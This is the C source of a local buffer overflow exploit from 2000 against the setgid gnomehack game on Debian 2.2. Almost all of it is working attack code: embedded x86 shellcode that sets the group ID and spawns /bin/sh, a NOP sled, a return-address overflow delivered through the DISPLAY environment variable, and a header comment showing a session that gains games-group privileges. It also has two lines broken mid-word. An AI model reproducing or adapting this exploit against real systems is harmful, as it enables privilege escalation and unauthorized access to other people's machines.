/*
 * (gnomehack) local buffer overflow. (gid=games(60))
 *
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / pigspigs@yahoo.com
 * 12/17/2000
 *
 * Tested on Debian 2.2, kernel 2.2.17 - x86.
 * sgid "games"(60) by default.
 *
 * bash-2.03$ id
 * uid=1000(loophole) gid=501(noc)
 * bash-2.03$ ./h 0 0
 * Ret-addr 0x7fffe81c, offset: 0, allign: 0.
 * Can't resolve host name "èÿèÿèÿèÿèÿèÿèÿèÿèÿèÿèÿèÿèÿèÿèÿèÿ"!
 * sh-2.03$ id
 * uid=1000(loophole) gid=501(noc) egid=60(games)
 * sh-2.03$
 */

#include <stdio.h>

#define OFFSET 0
#define ALLIGN 0
#define NOP    0x90
#define DBUF   256 //120(RET*30)+((RET))+132(RET*33)
#define GID    60

static char shellcode[]=
 "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
 "\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
 "\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
 "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
 "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
 "\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";

long get_sp(void){
 __asm__("movl %esp,%eax");
}

void workit(char *heh){
 fprintf(stderr, "\ngnomehack local exploit for Debian 2.2 - x86\n");
 fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n");
 fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", heh);
 fprintf(stderr, "Examp: %s 0\n", heh);
 fprintf(stderr, "Examp: %s 0 1\n", heh);
 exit(1);
}

main(int argc, char **argv){
 char eipeip[DBUF], buffer[4096], heh[DBUF+1];
 int i, offset, gid, allign;
 long address;

 if(argc < 2){
  workit(argv[0]);
 }
 
 if(argc > 1){
  offset = atoi(argv[1]);
 }else{
  offset = OFFSET;
 }

 if(argc > 2){
  allign = atoi(argv[2]);
 }else{
  allign = ALLIGN;
 }

 address = get_sp() - offset;

 if(allign > 0){
  for(i=0;i<allign;i++){
   eipeip[i] = 0x69; //0x69.DOOT:D
  }
 }

 for(i=allign;i<DBUF;i+=4){
  *(long *)&eipeip[i] = address;
 }

 gid = GID;
 shellcode[10] = gid;
 shellcode[22] = gid;
 shellcode[24] = gid;
 
 for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
  buffer[i] = NOP;
 }
 
 memcpy(heh, eipeip, strlen(eipeip));
 memcpy(heh, "DISPLAY=", 8);//HOME||DISPLAY
 putenv(heh);

 memcpy(buffer+i, shellcode, strlen(shellcode));
 memcpy(buffer, "HACKEX=", 7);
 putenv(buffer);
 
 fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address, offset, all
ign);
 execlp("/usr/lib/games/gnomehack/gnomehack", "gnomehack", 0); //Mod path if ne
eded.
}